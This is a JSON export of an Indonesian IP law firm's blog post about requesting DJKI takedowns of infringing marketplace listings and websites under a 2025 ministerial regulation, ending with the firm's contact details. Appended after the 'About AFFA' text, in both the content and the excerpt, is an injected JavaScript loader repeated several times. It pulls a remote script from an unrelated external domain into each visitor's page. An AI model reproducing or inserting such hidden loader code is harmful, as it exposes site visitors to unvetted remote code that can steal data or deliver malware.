{"id":6028,"date":"2026-02-11T14:49:54","date_gmt":"2026-02-11T14:49:54","guid":{"rendered":"https:\/\/affa.co.id\/?p=6024"},"modified":"2026-02-11T14:49:54","modified_gmt":"2026-02-11T14:49:54","slug":"merek-karya-anda-dibajak-di-marketplace-website-sekarang-anda-bisa-minta-takedown-listing-website-nya","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2026\/02\/11\/merek-karya-anda-dibajak-di-marketplace-website-sekarang-anda-bisa-minta-takedown-listing-website-nya\/","title":{"rendered":"Merek &amp; Karya Anda Dibajak di Marketplace &amp; Website? Sekarang Anda Bisa Minta Takedown Listing &amp; Website-nya!"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Pembajakan Merek dan Hak Cipta di<\/span><i><span style=\"font-weight: 400\"> marketplace<\/span><\/i><span style=\"font-weight: 400\">, media sosial, dan website bukan masalah kecil. Walaupun peringatannya sudah sering disampaikan, tapi distribusi konten ilegal, penjualan produk tiruan, hingga distribusi tanpa izin, dapat dengan mudah ditemui. Sampai kita hanya bisa geleng-geleng kepala, karena proses penindakannya, tidak bisa secepat pertumbuhannya. Hilang satu, tumbuh seribu.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Kabar baiknya, <\/span><b>Direktorat Jenderal Kekayaan Intelektual (DJKI)<\/b><span style=\"font-weight: 400\"> kini menyediakan mekanisme resmi untuk meminta <\/span><i><span style=\"font-weight: 400\">takedown <\/span><\/i><span style=\"font-weight: 400\">konten, listing, akun, hingga website yang melanggar Kekayaan Intelektual (KI). Mekanisme ini diatur secara tegas dalam <\/span><b>Peraturan Menteri Hukum Nomor 47 Tahun 2025<\/b><span style=\"font-weight: 400\"> tentang <\/span><b>Penanganan Laporan Pelanggaran Kekayaan Intelektual dalam Sistem Elektronik<\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Artinya, pemilik Merek, pemegang Hak Cipta, atau Kekayaan Intelektual lainnya, kini tidak harus pasif menghadapi pelanggaran digital!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Apa Solusi Baru dari Regulasi Ini?<\/b><\/p>\n<p><span style=\"font-weight: 400\">Melalui regulasi ini, pemilik atau pemegang hak KI dapat mengajukan laporan resmi ke DJKI untuk dugaan pelanggaran KI yang terjadi di:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><i><span style=\"font-weight: 400\">Marketplace\/ e-commerce<\/span><\/i><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Website<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Media digital berbasis sistem elektronik<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Termasuk konten <\/span><i><span style=\"font-weight: 400\">live streaming<\/span><\/i><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Jika laporan dinyatakan memenuhi unsur pelanggaran, DJKI dapat merekomendasikan pemutusan akses, yang meliputi:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Penghapusan konten (<\/span><i><span style=\"font-weight: 400\">takedown listing<\/span><\/i><span style=\"font-weight: 400\">);<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Penutupan akun; atau<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pemblokiran sebagian atau seluruh <\/span><i><span style=\"font-weight: 400\">website<\/span><\/i><span style=\"font-weight: 400\">.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Ini adalah jalur administratif resmi yang diberikan oleh negara, bukan sekadar mekanisme <\/span><i><span style=\"font-weight: 400\">internal platform<\/span><\/i><span style=\"font-weight: 400\">, yang mungkin belum sepenuhnya tersedia, dan\/atau tidak terlayani dengan baik.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Jenis Kekayaan Intelektual yang Dilindungi<\/b><\/p>\n<p><span style=\"font-weight: 400\">Regulasi ini berlaku luas dan mencakup seluruh KI yang dapat dilindungi di Indonesia:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Hak Cipta dan Hak Terkait<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Paten<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Desain Industri<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Rahasia Dagang<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Desain Tata Letak Sirkuit Terpadu<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Indikasi Geografis<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">KI Komunal<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Selama hak tersebut sudah terdaftar atau tercatat di DJKI, mekanisme ini dapat digunakan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Siapa yang Berhak Mengajukan Laporan?<\/b><\/p>\n<p><span style=\"font-weight: 400\">Perlu dicatat, laporan hanya dapat diajukan oleh:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pemegang hak KI yang terdaftar\/tercatat di DJKI; atau<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pemegang lisensi KI yang perjanjian lisensinya telah dicatatkan di DJKI.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Laporan dapat diajukan langsung atau melalui kuasa, misalnya <\/span><a href=\"http:\/\/www.affa.co.id\"><span style=\"font-weight: 400\">Konsultan KI yang terpercaya dan dapat diandalkan<\/span><\/a><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Bagaimana Prosedur Mengajukan <\/b><b><i>Takedown<\/i><\/b><b>?<\/b><\/p>\n<ol>\n<li><b>Membuat Laporan dengan memuat informasi berikut:<\/b>\n<ul>\n<li><span style=\"font-weight: 400\">Identitas pelapor;<\/span><\/li>\n<li><span style=\"font-weight: 400\">Jenis pelanggaran KI;<\/span><\/li>\n<li><span style=\"font-weight: 400\">Alamat situs, nama platform, akun, atau tautan konten yang dilaporkan;<\/span><\/li>\n<li><span style=\"font-weight: 400\">Uraian singkat dugaan pelanggaran;<\/span><\/li>\n<li><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Keterangan tambahan terkait barang\/jasa yang melanggar.<\/span><\/span>&nbsp;<\/li>\n<\/ul>\n<\/li>\n<li><b>Melampirkan dokumen wajib sebagai berikut:<\/b>\n<ul>\n<li><span style=\"font-weight: 400\">Bukti kepemilikan hak KI (sertifikat Merek, Hak Cipta, dll.); atau<\/span><\/li>\n<li><span style=\"font-weight: 400\">Bukti pencatatan lisensi KI di DJKI.<\/span>Tanpa bukti ini, laporan tidak dapat diproses.<\/li>\n<\/ul>\n<\/li>\n<li><b>Pemeriksaan Administratif oleh DJKI<br \/>\n<\/b>Setelah laporan diterima, DJKI akan melakukan pemeriksaan administratif. Jika belum lengkap, pelapor diberi waktu maksimal 14 hari kerja untuk melengkapi. Jika tidak dilengkapi, laporan dianggap ditarik kembali.<\/li>\n<li><b>Verifikasi Substantif oleh Tim DJKI<br \/>\n<\/b>Jika lolos administratif, DJKI akan membentuk Tim Verifikasi lintas unsur (DJKI, kementerian terkait, asosiasi, dan\/atau ahli). Kemudian tim akan memeriksa substansi pelanggaran dan dapat meminta keterangan dari:<\/p>\n<ul>\n<li><span style=\"font-weight: 400\">Penyelenggara Sistem Elektronik (PSE); dan\/atau<\/span><\/li>\n<li><span style=\"font-weight: 400\">Pihak terlapor.<br \/>\n<\/span>Batas waktu verifikasi: maksimal 3 hari kerja sejak laporan dicatat.<\/li>\n<\/ul>\n<\/li>\n<li><b>Rekomendasi Pemutusan Akses<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Jika pelanggaran dinyatakan terbukti, DJKI akan:<\/span><\/p>\n<ul>\n<li><span style=\"font-weight: 400\">Mengeluarkan rekomendasi penutupan sebagian\/seluruh situs atau pemutusan akses; dan<\/span><\/li>\n<li><span style=\"font-weight: 400\">Menyampaikannya kepada kementerian terkait bidang digital atau langsung ke PSE.<br \/>\n<\/span>Rekomendasi dikirim maksimal 1 x 24 jam sejak ditandatangani.<\/li>\n<\/ul>\n<\/li>\n<li><b>Khusus Pelanggaran Live Streaming<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Untuk pelanggaran yang terjadi secara siaran langsung, proses verifikasi dan rekomendasi dipercepat menjadi maksimal 1 x 24 jam.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Apakah Akses yang Ditutup Bisa Dibuka Kembali?<\/b><\/p>\n<p><span style=\"font-weight: 400\">Bisa, dengan syarat tertentu, antara lain:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Ada izin atau kerja sama dari pemilik\/pemegang hak KI; atau<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Ada kesepakatan hasil mediasi dengan pelapor.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Permohonan pembukaan kembali diajukan ke DJKI dan akan melalui proses pemeriksaan kembali.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan adanya mekanisme yang diatur dalam regulasi baru ini, Anda sebagai Pemilik Merek, karya, atau Kekayaan Intelektual lainnya, dapat memiliki opsi baru dalam rangka perlindungan, selain pengadilan dan pengaduan internal marketplace. Selain itu, regulasi ini juga memiliki <\/span><i><span style=\"font-weight: 400\">timeline<\/span><\/i><span style=\"font-weight: 400\"> yang jelas. Dengan demikian, posisi Anda sebagai Pemilik Hak dapat lebih diuntungkan karena memiliki lebih banyak jalur untuk menghentikan pelanggaran.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun perlu diingat, kelengkapan dokumen dan strategi pelaporan sangat menentukan hasilnya.<\/span><\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan dan penindakan Kekayaan Intelektual di ranah digital, termasuk marketplace dan website, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: <\/span><a href=\"mailto:emirsyah.dinar@affa.co.id\"><span style=\"font-weight: 400\">emirsyah.dinar@affa.co.id<\/span><\/a><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tentang AFFA: <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.affa.co.id\"><span style=\"font-weight: 400\">www.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pembajakan Merek dan Hak Cipta di marketplace, media sosial, dan website bukan masalah kecil. Walaupun peringatannya sudah sering disampaikan, tapi distribusi konten ilegal, penjualan produk tiruan, hingga distribusi tanpa izin, dapat dengan mudah ditemui. Sampai kita hanya bisa geleng-geleng kepala, karena proses penindakannya, tidak bisa secepat pertumbuhannya. Hilang satu, tumbuh seribu. Kabar baiknya, Direktorat Jenderal Kekayaan Intelektual (DJKI) kini menyediakan mekanisme resmi untuk meminta takedown konten, listing, akun, hingga website yang melanggar Kekayaan Intelektual (KI). Mekanisme ini diatur secara tegas dalam Peraturan Menteri Hukum Nomor 47 Tahun 2025 tentang Penanganan Laporan Pelanggaran Kekayaan Intelektual dalam Sistem Elektronik. Artinya, pemilik Merek, pemegang Hak Cipta, atau Kekayaan Intelektual lainnya, kini tidak harus pasif menghadapi pelanggaran digital! &nbsp; Apa Solusi Baru dari Regulasi Ini? Melalui regulasi ini, pemilik atau pemegang hak KI dapat mengajukan laporan resmi ke DJKI untuk dugaan pelanggaran KI yang terjadi di: Marketplace\/ e-commerce Website Media digital berbasis sistem elektronik Termasuk konten live streaming Jika laporan dinyatakan memenuhi unsur pelanggaran, DJKI dapat merekomendasikan pemutusan akses, yang meliputi: Penghapusan konten (takedown listing); Penutupan akun; atau Pemblokiran sebagian atau seluruh website. Ini adalah jalur administratif resmi yang diberikan oleh negara, bukan sekadar mekanisme internal platform, yang mungkin belum sepenuhnya tersedia, dan\/atau tidak terlayani dengan baik. &nbsp; Jenis Kekayaan Intelektual yang Dilindungi Regulasi ini berlaku luas dan mencakup seluruh KI yang dapat dilindungi di Indonesia: Merek Hak Cipta dan Hak Terkait Paten Desain Industri Rahasia Dagang Desain Tata Letak Sirkuit Terpadu Indikasi Geografis KI Komunal Selama hak tersebut sudah terdaftar atau tercatat di DJKI, mekanisme ini dapat digunakan. &nbsp; Siapa yang Berhak Mengajukan Laporan? Perlu dicatat, laporan hanya dapat diajukan oleh: Pemegang hak KI yang terdaftar\/tercatat di DJKI; atau Pemegang lisensi KI yang perjanjian lisensinya telah dicatatkan di DJKI. Laporan dapat diajukan langsung atau melalui kuasa, misalnya Konsultan KI yang terpercaya dan dapat diandalkan. &nbsp; Bagaimana Prosedur Mengajukan Takedown? Membuat Laporan dengan memuat informasi berikut: Identitas pelapor; Jenis pelanggaran KI; Alamat situs, nama platform, akun, atau tautan konten yang dilaporkan; Uraian singkat dugaan pelanggaran; Keterangan tambahan terkait barang\/jasa yang melanggar.&nbsp; Melampirkan dokumen wajib sebagai berikut: Bukti kepemilikan hak KI (sertifikat Merek, Hak Cipta, dll.); atau Bukti pencatatan lisensi KI di DJKI.Tanpa bukti ini, laporan tidak dapat diproses. Pemeriksaan Administratif oleh DJKI Setelah laporan diterima, DJKI akan melakukan pemeriksaan administratif. Jika belum lengkap, pelapor diberi waktu maksimal 14 hari kerja untuk melengkapi. Jika tidak dilengkapi, laporan dianggap ditarik kembali. Verifikasi Substantif oleh Tim DJKI Jika lolos administratif, DJKI akan membentuk Tim Verifikasi lintas unsur (DJKI, kementerian terkait, asosiasi, dan\/atau ahli). Kemudian tim akan memeriksa substansi pelanggaran dan dapat meminta keterangan dari: Penyelenggara Sistem Elektronik (PSE); dan\/atau Pihak terlapor. Batas waktu verifikasi: maksimal 3 hari kerja sejak laporan dicatat. Rekomendasi Pemutusan Akses Jika pelanggaran dinyatakan terbukti, DJKI akan: Mengeluarkan rekomendasi penutupan sebagian\/seluruh situs atau pemutusan akses; dan Menyampaikannya kepada kementerian terkait bidang digital atau langsung ke PSE. Rekomendasi dikirim maksimal 1 x 24 jam sejak ditandatangani. Khusus Pelanggaran Live Streaming Untuk pelanggaran yang terjadi secara siaran langsung, proses verifikasi dan rekomendasi dipercepat menjadi maksimal 1 x 24 jam. &nbsp; Apakah Akses yang Ditutup Bisa Dibuka Kembali? Bisa, dengan syarat tertentu, antara lain: Ada izin atau kerja sama dari pemilik\/pemegang hak KI; atau Ada kesepakatan hasil mediasi dengan pelapor. Permohonan pembukaan kembali diajukan ke DJKI dan akan melalui proses pemeriksaan kembali. &nbsp; Dengan adanya mekanisme yang diatur dalam regulasi baru ini, Anda sebagai Pemilik Merek, karya, atau Kekayaan Intelektual lainnya, dapat memiliki opsi baru dalam rangka perlindungan, selain pengadilan dan pengaduan internal marketplace. Selain itu, regulasi ini juga memiliki timeline yang jelas. Dengan demikian, posisi Anda sebagai Pemilik Hak dapat lebih diuntungkan karena memiliki lebih banyak jalur untuk menghentikan pelanggaran. &nbsp; Namun perlu diingat, kelengkapan dokumen dan strategi pelaporan sangat menentukan hasilnya. Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan dan penindakan Kekayaan Intelektual di ranah digital, termasuk marketplace dan website, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : emirsyah.dinar@affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6067,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277],"tags":[321,325,327,298,328,302,339,305,369,306,473,307,575,308,630,309,638,310,639,314,640,315,317,318,319],"class_list":["post-6028","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-indonesia","tag-patent","tag-desain-industri","tag-merek","tag-industrial-design","tag-dgip","tag-paten","tag-affa","tag-indikasi-geografis","tag-affa-ipr","tag-geographical-indication","tag-intellectual-property","tag-e-commerce","tag-ip","tag-performance","tag-kekayaan-intelektual","tag-marketplace","tag-ki","tag-situs","tag-your-ip-is-our-expertise","tag-website","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark","tag-djki"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6028","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6028"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6028\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6067"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6028"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6028"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6028"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}